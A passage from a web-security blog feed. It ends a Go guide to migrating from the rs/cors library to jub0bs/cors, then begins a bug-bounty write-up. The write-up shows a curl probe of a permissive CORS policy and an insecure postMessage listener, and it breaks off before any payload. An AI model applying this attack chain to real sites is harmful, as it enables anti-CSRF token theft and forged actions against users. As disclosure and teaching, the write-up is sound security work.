<p>The basic configuration struct types have different names:
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s is <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#Options" target="_blank" rel="noopener"><code>Options</code></a>,
whereas <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s is
<a href="https://pkg.go.dev/github.com/jub0bs/cors#Config" target="_blank" rel="noopener"><code>Config</code></a>.
The names of those struct types&rsquo; fields also differ; the table below shows
the mapping between corresponding fields in the two libraries:</p>
<table>
  <thead>
      <tr>
          <th>rs/cors</th>
          <th>jub0bs/cors</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>AllowedOrigins</code></td>
          <td><code>Origins</code></td>
      </tr>
      <tr>
          <td><code>AllowOriginFunc</code></td>
          <td>N/A</td>
      </tr>
      <tr>
          <td><code>AllowOriginRequestFunc</code></td>
          <td>N/A</td>
      </tr>
      <tr>
          <td><code>AllowOriginVaryRequestFunc</code></td>
          <td>N/A</td>
      </tr>
      <tr>
          <td><code>AllowedMethods</code></td>
          <td><code>Methods</code></td>
      </tr>
      <tr>
          <td><code>AllowedHeaders</code></td>
          <td><code>RequestHeaders</code></td>
      </tr>
      <tr>
          <td><code>ExposedHeaders</code></td>
          <td><code>ResponseHeaders</code></td>
      </tr>
      <tr>
          <td><code>MaxAge</code></td>
          <td><code>MaxAgeInSeconds</code></td>
      </tr>
      <tr>
          <td><code>AllowedCredentials</code></td>
          <td><code>Credentialed</code></td>
      </tr>
      <tr>
          <td><code>AllowPrivateNetwork</code></td>
          <td><del><code>ExtraConfig.PrivateNetworkAccess</code></del> N/A</td>
      </tr>
      <tr>
          <td><code>OptionsPassthrough</code></td>
          <td>N/A</td>
      </tr>
      <tr>
          <td><code>OptionsSuccessStatus</code></td>
          <td><code>ExtraConfig.PreflightSuccessStatus</code></td>
      </tr>
      <tr>
          <td><code>Debug</code></td>
          <td>N/A (but see debug mode)</td>
      </tr>
      <tr>
          <td><code>Logger</code></td>
          <td>N/A</td>
      </tr>
  </tbody>
</table>
<p>Moreover, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s <a href="https://pkg.go.dev/github.com/jub0bs/cors#ExtraConfig" target="_blank" rel="noopener"><code>ExtraConfig</code> struct type</a>
allows you to unlock additional options not mentioned in the table above.</p>
<p>Edit (2025/07/13): Private-Network Access was never fully implemented by
browsers and has now been put <a href="https://developer.chrome.com/blog/pna-on-hold" target="_blank" rel="noopener">on (indefinite) hold</a> in favor of
<a href="https://developer.chrome.com/blog/local-network-access" target="_blank" rel="noopener">a new permission-based mechanism named &ldquo;Local-Network Access&rdquo;</a>.
As of <a href="https://github.com/jub0bs/cors/releases/tag/v0.7.0" target="_blank" rel="noopener">v0.7.0</a>, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> no longer
supports Private-Network Access.</p>
<h3 id="creating-a-middleware-and-applying-it-to-a-handler">Creating a middleware and applying it to a handler <a href="#creating-a-middleware-and-applying-it-to-a-handler">¶</a></h3>
<p>The functions that produce CORS middleware also have different names:
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s is named <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#New" target="_blank" rel="noopener"><code>New</code></a>,
whereas <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s is named <a href="https://pkg.go.dev/github.com/jub0bs/cors#NewMiddleware" target="_blank" rel="noopener"><code>NewMiddleware</code></a>.</p>
<p>Besides, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s <code>NewMiddleware</code> returns,
not only a CORS middleware, but also an <a href="https://pkg.go.dev/builtin#error" target="_blank" rel="noopener"><code>error</code></a>.
Do inspect that <code>error</code> result; only if its value is <code>nil</code>
can you assume that the resulting middleware is usable.</p>
<p>Finally, whereas the method for applying a middleware to a
<a href="https://pkg.go.dev/net/http#Handler" target="_blank" rel="noopener"><code>http.Handler</code></a> is (confusingly) named <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#Cors.Handler" target="_blank" rel="noopener"><code>Handler</code></a>
in <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
the equivalent method is named <a href="https://pkg.go.dev/github.com/jub0bs/cors#Middleware.Wrap" target="_blank" rel="noopener"><code>Wrap</code></a>
in <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// jub0bs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{ <span style="color:#75715e">/* omitted */</span> })
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// corsMw is unusable; bail out.</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">handler</span> = <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">handler</span>) <span style="color:#75715e">// wrap corsMw around handler.</span>
</span></span></code></pre></div><h3 id="default-configurations">Default configurations <a href="#default-configurations">¶</a></h3>
<p>In contrast to <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
and <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#7-provide-no-default-configuration" target="_blank" rel="noopener">for good reasons explained elsewhere</a>,
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> provides no default CORS configurations.
If the code to migrate relies on <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#Default" target="_blank" rel="noopener"><code>Default</code></a>
or <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#AllowAll" target="_blank" rel="noopener"><code>AllowAll</code></a> functions, the code snippets below illustrate
how to adapt your code for migrating to <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// rs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">handler</span> = <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Default</span>().<span style="color:#a6e22e">Handler</span>(<span style="color:#a6e22e">handler</span>)
</span></span></code></pre></div><p>is equivalent to</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// jub0bs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Origins</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;*&#34;</span>},
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Methods</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodHead</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>,
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">RequestHeaders</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Accept&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Content-Type&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;X-Requested-With&#34;</span>,
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted: bail out, somehow</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">handler</span> = <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">handler</span>)
</span></span></code></pre></div><p>and</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// rs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">handler</span> = <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">AllowAll</span>().<span style="color:#a6e22e">Handler</span>(<span style="color:#a6e22e">handler</span>)
</span></span></code></pre></div><p>is equivalent to</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// jub0bs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Origins</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;*&#34;</span>},
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Methods</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodHead</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPut</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPatch</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodDelete</span>,
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">RequestHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;*&#34;</span>},
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted: bail out, somehow</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">handler</span> = <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">handler</span>)
</span></span></code></pre></div><h2 id="on-the-genesis-of-jub0bscors">On the genesis of jub0bs/cors <a href="#on-the-genesis-of-jub0bscors">¶</a></h2>
<h3 id="reflection-on-its-predecessor">Reflection on its predecessor <a href="#reflection-on-its-predecessor">¶</a></h3>
<p>About a year ago, after realising that developers&rsquo; troubles with
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">Cross-Origin Resource Sharing (CORS)</a> can chiefly be blamed on tools
rather than on their users, I released <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>, a reference
implementation for
<a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/" target="_blank" rel="noopener">Fearless CORS, my design philosophy for CORS middleware libraries</a>,</p>
<p>On a personal note, this original library proved to be a formative laboratory
of ideas, not only about library design, but also about algorithms and data
structures (especially <a href="https://en.wikipedia.org/wiki/Radix_tree" target="_blank" rel="noopener">radix trees</a>).</p>
<p>However, although <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> garnered praise
from <a href="https://github.com/jub0bs/fcors#praise-for-jub0bsfcors" target="_blank" rel="noopener">developers</a>, <a href="https://owasp.org/www-project-secure-headers/#prevent-cors-misconfiguration-issues" target="_blank" rel="noopener">OWASP</a>,
and some <a href="https://whatwg.org/" target="_blank" rel="noopener">WHATWG</a> folks (in private communication),
its adoption remains disappointingly limited.
For instance, at the time of writing this post,
the project&rsquo;s GitHub repository has only accrued
<a href="https://github.com/jub0bs/fcors/stargazers" target="_blank" rel="noopener">a paltry 79 stargazers</a>;
nothing to scoff at, but far from a resounding success.
In comparison, <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
boasts <a href="https://github.com/rs/cors/stargazers" target="_blank" rel="noopener">more than 2,500 stargazers</a>.</p>
<p>If pressed to speculate about the reasons for <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>&rsquo;s
lacklustre adoption,
I would first argue that a contending software library, regardless of its merits,
is unlikely to quickly rise as high as an incumbent library in popularity.
Second, I would cite some controversial design decisions in <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>.
That library indeed relies heavily on <a href="https://commandcenter.blogspot.com/2014/01/self-referential-functions-and-design.html" target="_blank" rel="noopener"><em>functional_options</em></a>,
a much maligned pattern in the Go community.
Winning over staunch detractors of the pattern was always
going to be an uphill battle, and
<a href="https://www.youtube.com/watch?v=5uM6z7RnReE" target="_blank" rel="noopener">the talk I gave on the topic at GopherCon Europe 2023</a>,
though well received, did little to sway them.
I myself have somewhat changed my mind about the pattern over the last few months;
I still believe it&rsquo;s useful in some situations,
but some of its pain points have become more apparent to me.</p>
<p>Rather than discourage me, <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>&rsquo;s unspectacular adoption
spurred me to write a spiritual successor: a new CORS library for Go,
one that adheres to the principles of Fearless CORS
but whose more traditional API holds the promise of universal appeal: <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.</p>
<h3 id="why-not-contribute-to-rscors-instead">Why not contribute to rs/cors instead? <a href="#why-not-contribute-to-rscors-instead">¶</a></h3>
<p>Finally, I should address the elephant in the room:
Why produce a competing library?
Why not contribute improvements to <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> instead?
The answer isn&rsquo;t as straightforward as it may seem.</p>
<p>Although I can find faults in the design of <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>,
there is little I would change in my Fearless CORS design philosophy.
I remain convinced that its twelve principles are sound and deserve to spread
to other CORS libraries (even ones beyond Go&rsquo;s ecosystem).
Armed with this ambition, I did contribute <a href="https://github.com/search?q=repo%3Ars%2Fcors&#43;author%3Ajub0bs&amp;type=issues" target="_blank" rel="noopener">issues</a>
and <a href="https://github.com/search?q=repo%3Ars%2Fcors&#43;author%3Ajub0bs&amp;type=pullrequests" target="_blank" rel="noopener">pull requests</a> to <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
most of which <a href="https://github.com/rs" target="_blank" rel="noopener">Olivier Poitrey</a>, the library&rsquo;s maintainer,
kindly fixed or merged.
Moreover, there is <a href="https://github.com/rs/cors/commit/080e86e16813e410717c9806ea5a4ea9295724d1" target="_blank" rel="noopener">little doubt</a> that <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
inspired Olivier to improve aspects of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s
performance.</p>
<p>However, not being at the helm of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, I am limited in how much
I can influence its development;
and the truth is that the library is still a far cry from the ideal conveyed
by Fearless CORS, i.e. a CORS library easy to use and hard to misuse.
For instance, the multiple hooks (e.g. <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#Options.AllowOriginFunc" target="_blank" rel="noopener"><code>AllowOriginFunc</code></a>) that
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> provides are, <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#do-not-support-custom-callbacks" target="_blank" rel="noopener">in my opinion</a>, dangerous misfeatures.
How to improve this aspect of the library isn&rsquo;t obvious;
in fact, one more such hook <a href="https://github.com/rs/cors/commit/65997210d97c547dea069e29ec88e39abd1a4ce4" target="_blank" rel="noopener">recently crept into the API</a>.
Deprecating all those hooks would be a good first step,
but altogether removing support for them would constitute a breaking change.
Perhaps a hypothetical <a href="https://semver.org" target="_blank" rel="noopener">v2</a> of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
could bring the library in line with Fearless CORS, but whether Olivier
plans to release a new major version in the near future is unclear to me.</p>
<p>If I cannot bend <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> into a shape close to my ideal
of a CORS middleware library,
I can at least try to displace it with a better library.
This is my ambition with <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>Thanks to <a href="https://infosec.exchange/@carlana@tech.lgbt" target="_blank" rel="noopener">Carlana Johnson</a> and <a href="https://www.linkedin.com/in/mike-stephen-7877a44/" target="_blank" rel="noopener">Mike Stephen</a> for taking the time
to review an early draft of this post.</p>
]]></content>
        </item>
        
        <item>
            <title>A smorgasbord of a bug chain: postMessage, JSONP, WAF bypass, DOM-based XSS, CORS, CSRF...</title>
            <link>//jub0bs.com/posts/2023-05-05-smorgasbord-of-a-bug-chain/</link>
            <pubDate>Fri, 05 May 2023 17:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2023-05-05-smorgasbord-of-a-bug-chain/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A few months ago, while hunting on a public bug-bounty programme,
I found a nice little bug chain that involved&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;an insecure message event listener,&lt;/li&gt;
&lt;li&gt;a shoddy JSONP endpoint,&lt;/li&gt;
&lt;li&gt;a WAF bypass,&lt;/li&gt;
&lt;li&gt;DOM-based XSS on an out-of-scope subdomain,&lt;/li&gt;
&lt;li&gt;a permissive CORS configuration,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;all to achieve CSRF against an in-scope asset. Read on for a deep dive about it.&lt;/p&gt;
&lt;p&gt;Be aware that I&amp;rsquo;ve redacted some identifying information in order to protect the target organisation&amp;rsquo;s anonymity;
I&amp;rsquo;ve also omitted some unimportant details in order to make the story of this bug chain more entertaining.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<p>A few months ago, while hunting on a public bug-bounty programme,
I found a nice little bug chain that involved</p>
<ul>
<li>an insecure message event listener,</li>
<li>a shoddy JSONP endpoint,</li>
<li>a WAF bypass,</li>
<li>DOM-based XSS on an out-of-scope subdomain,</li>
<li>a permissive CORS configuration,</li>
</ul>
<p>all to achieve CSRF against an in-scope asset. Read on for a deep dive about it.</p>
<p>Be aware that I&rsquo;ve redacted some identifying information in order to protect the target organisation&rsquo;s anonymity;
I&rsquo;ve also omitted some unimportant details in order to make the story of this bug chain more entertaining.</p>
<h2 id="on-the-hunt-for-an-elusive-csrf">On the hunt for an elusive CSRF <a href="#on-the-hunt-for-an-elusive-csrf">¶</a></h2>
<p>The scope of my target&rsquo;s bug-bounty programme was limited to <code>www.redacted.com</code>
and a few other subdomains of <code>redacted.com</code>.
At that point, I had run out of ideas for finding vulnerabilities there.
The possibility of an exploitable <a href="https://owasp.org/www-community/attacks/csrf" target="_blank" rel="noopener">cross-site request forgery (CSRF)</a>
lingered in my mind, though&hellip;</p>
<p>I had noticed that some subdomains, such as <code>inscope.redacted.com</code>,
could perform sensitive actions (such as updating the authenticated user&rsquo;s profile)
by issuing <code>POST</code> requests to endpoints rooted at <code>https://www.redacted.com/api</code>.
Authentication of such requests relied on <a href="https://httpwg.org/specs/rfc6265.html#ambient-authority" target="_blank" rel="noopener"><em>ambient authority</em></a>,
in the form of a cookie named <code>sid</code> and marked <code>SameSite=None</code> and <code>Secure</code>.</p>
<p>Unfortunately, those endpoints required, as a defence against CSRF,
the presence of a token (tied to the authenticated user&rsquo;s session)
in a query parameter named <code>csrftoken</code>.
Client code running in the context of <code>https://inscope.redacted.com</code>
would retrieve that anti-CSRF token
via an authenticated <code>GET</code> request to <code>https://www.redacted.com/profile</code>,
which was accordingly configured for CORS.</p>
<p>Furthermore, I couldn&rsquo;t find a straightforward way to steal that anti-CSRF token from my victim.
In my quest for CSRF, I had seemingly hit a brick wall.</p>
<h2 id="a-permissive-cors-policy-drives-me-out-of-scope">A permissive CORS policy drives me out of scope <a href="#a-permissive-cors-policy-drives-me-out-of-scope">¶</a></h2>
<p>When my progress on a target stalls like this, I typically start exploring out-of-scope assets
in the hope of discovering and abusing a trust relationship they have with some in-scope assets.
After further testing the <code>https://www.redacted.com/profile</code> endpoint,
I realised that its CORS configuration allowed,
not just origin <code>https://in-scope.redacted.com</code>,
but any Web origin made up of some arbitrary subdomain of <code>redacted.com</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ curl -sD - -o /dev/null <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Origin: https://whatever.redacted.com&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Cookie: sid=xxx-yyy-zzz&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  https://www.redacted.com/profile
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Access-Control-Allow-Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">https://whatever.redacted.com</span>
</span></span><span style="display:flex;"><span>Vary<span style="color:#f92672">:</span> <span style="color:#ae81ff">Origin</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><p>Therefore, if I could discover an instance of <a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">cross-site scripting (XSS)</a>
on any <code>redacted.com</code> subdomain (even an out-of-scope one),
I would be able to steal my victim&rsquo;s anti-CSRF token
and then mount CSRF attacks against <code>https://www.redacted.com/api</code> endpoints.
With this plan in mind, I set out to scrutinise out-of-scope subdomains of <code>redacted.com</code>.</p>
<h2 id="insecure-message-event-listener-on-out-of-scope-subdomain">Insecure message event listener on out-of-scope subdomain <a href="#insecure-message-event-listener-on-out-of-scope-subdomain">¶</a></h2>
<p>Equipped with <a href="https://github.com/fransr" target="_blank" rel="noopener">Frans Rosén</a>&rsquo;s excellent <a href="https://github.com/fransr/postMessage-tracker" target="_blank" rel="noopener"><em>postMessage-tracker</em> Chrome extension</a>,
I quickly homed in on <code>https://out-of-scope.redacted.com/search</code>,
which had an intriguing <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage" target="_blank" rel="noopener">listener on <code>'message'</code> events</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleMessageEvent</span>(<span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">void</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">!==</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">data</span> <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">data</span>), <span style="color:#e6db74">&#34;string&#34;</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">t</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">t</span>)
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">void</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">method</span>) <span style="color:#66d9ef">return</span> <span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span>, <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">method</span>.<span style="color:#a6e22e">split</span>(<span style="color:#e6db74">&#34;.&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#e6db74">&#34;APP&#34;</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">r</span>[<span style="color:#ae81ff">0</span>])) <span style="color:#66d9ef">return</span> <span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> window;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">a</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">a</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">void</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">n</span>[<span style="color:#a6e22e">r</span>[<span style="color:#a6e22e">a</span>]]) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">throw</span> <span style="color:#a6e22e">APP</span>.<span style="color:#a6e22e">Exception</span>(<span style="color:#e6db74">&#34;COMMUNICATION_SECURITY&#34;</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">n</span>[<span style="color:#a6e22e">r</span>[<span style="color:#a6e22e">a</span>]]
</span></span><span style="display:flex;"><span>    }
